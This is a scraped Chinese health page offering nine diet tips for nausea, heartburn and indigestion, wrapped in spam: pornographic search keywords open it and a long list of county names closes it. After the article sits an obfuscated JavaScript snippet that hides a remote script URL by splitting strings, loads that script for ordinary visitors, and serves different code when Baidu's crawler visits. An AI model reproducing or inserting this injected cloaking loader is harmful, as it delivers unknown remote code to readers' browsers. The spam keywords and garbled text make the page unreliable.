亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 常見疾病 > 正文

反胃燒心消化不良怎么辦?

2017-06-18 16:51:39  來源:360常識網(wǎng)   熱度:
導語:由于現(xiàn)代化的生活節(jié)奏非???,很多人生活作息,飲食沒有規(guī)律,這樣最容易出現(xiàn)問題是胃。很多人都出現(xiàn)反胃,燒心,消化不良等癥狀。胃部不舒

由于現(xiàn)代化的生活節(jié)奏非???,很多人生活作息,飲食沒有規(guī)律,這樣最容易出現(xiàn)問題是胃。很多人都出現(xiàn)反胃,燒心,消化不良等癥狀。胃部不舒服是很令人難以忍受的,所以要及時的治療,當然如果長期吃藥也不是好方法,還要注意調(diào)養(yǎng),那么如果出現(xiàn)胃部胃疼到底應該怎么辦呢?

第一,少吃油炸食物:因為這類食物不容易消化,會加重消化道負擔,多吃會引起消化不良,還會使血脂增高,對健康不利。

第二,少吃腌制食物:這些食物中含有較多的鹽分及某些 可致癌物,不宜多吃。

第三,少吃生冷食物刺激性食物:生冷和刺激性強的食物對消化道黏膜具有較強的刺 激作用,容易引起腹瀉或消化道炎癥。

第四,規(guī)律飲食:研究表明,有規(guī)律地進餐,定時定量,可形成條件反射,有助于消化腺的分泌,更利于消化。

第五,定時定量:要做到每餐食量適度,每日3餐定時,到了規(guī)定 時間,不管肚子餓不餓,都應主動進食,避免過饑或過飽。

第六,溫度適宜:飲食的溫度應以“不燙不涼” 為度。

第七,細嚼慢咽:以減輕胃腸負擔。對食物充分咀嚼次數(shù)愈多,隨之分泌的唾液也愈多,對胃黏膜有 保護作用。

第八,飲水擇時:最佳的飲水時間是晨起空腹時及每次進餐前1小時,餐后立即飲水會稀釋胃液, 用湯泡飯也會影響食物的消化。

第九,注意防寒:胃部受涼后會使胃的功能受損,故要注意胃部保暖不要受寒。

以上就是小編為大家提供的關(guān)于怎樣調(diào)理胃部不適的方法,俗話說,胃部的問題三分靠治療,七分靠調(diào)養(yǎng),所以一定要養(yǎng)成規(guī)律的生活習慣和飲食習慣,這樣的話胃部相處問題都難,你還在虐待你的胃嗎?一定要好好保護你的胃哦。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
连城县| 祁东县| 开阳县| 电白县| 肃南| 广南县| 敖汉旗| 拉萨市| 九龙县| 双辽市| 秦安县| 四子王旗| 浦县| 大庆市| 长泰县| 利辛县| 玉环县| 乌拉特中旗| 万年县| 平顺县| 张家界市| 平定县| 孟连| 泸定县| 宜章县| 萨嘎县| 南郑县| 清远市| 台东市| 呼玛县| 闻喜县| 永康市| 天长市| 凌云县| 道真| 淮安市| 施秉县| 苍山县| 楚雄市| 高密市| 卫辉市|